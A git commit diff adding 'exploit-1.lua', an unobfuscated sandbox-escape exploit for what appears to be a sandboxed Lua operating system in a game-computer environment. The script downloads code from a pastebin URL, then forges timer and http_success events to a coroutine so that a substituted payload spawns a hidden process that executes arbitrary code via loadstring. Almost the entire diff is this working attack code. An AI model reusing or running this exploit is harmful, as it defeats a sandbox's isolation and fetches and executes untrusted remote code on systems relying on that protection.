Multiple changes and organization
- Deleted the old obfuscated files of the PS#2DAA86DC sandbox exploit and added an unobfuscated version of the exploit (without some security features) in its place - Organized everything by PS# number - PS#2DAA86DC and PS#83EB29BE
This commit is contained in:
parent
6bd4ab6332
commit
df4b6e1599
36
old/2DAA86DC/exploit-1.lua
Normal file
36
old/2DAA86DC/exploit-1.lua
Normal file
@ -0,0 +1,36 @@
|
||||
-- PS#2DAA86DC (I think?)
|
||||
|
||||
local handle = http.get("https://pastebin.com/raw/9DV5d4Yv")
|
||||
local code = handle.readAll()
|
||||
handle.close()
|
||||
|
||||
local x = coroutine.create(function()
|
||||
load(code, "PPPL")
|
||||
end)
|
||||
|
||||
local ppl = [=[
|
||||
term.clear()
|
||||
term.setCursorPos(1,1)
|
||||
|
||||
coroutine.resume(coroutine.create(function()
|
||||
process.spawn(function()
|
||||
local _, payload = coroutine.yield"PAYLOAD"
|
||||
return (loadstring(payload, "potatopayload"))() -- use tailcall??
|
||||
end, "potatopayload", {ephemeral = true})
|
||||
end))
|
||||
]=]
|
||||
|
||||
process.spawn(function()
|
||||
coroutine.resume(x, "timer", 0) -- Maybe I should've just used blank events here
|
||||
coroutine.resume(x, "timer", 0)
|
||||
coroutine.resume(
|
||||
x,
|
||||
"http_success",
|
||||
"https://pastebin.com/raw/v63NQem2",
|
||||
{readAll = function() return ppl end, close = function() end}
|
||||
)
|
||||
-- Once it's loaded, start forwarding events
|
||||
while true do
|
||||
coroutine.resume(x, coroutine.yield())
|
||||
end
|
||||
end, "pplr")
|
Binary file not shown.
File diff suppressed because one or more lines are too long
Loading…
Reference in New Issue
Block a user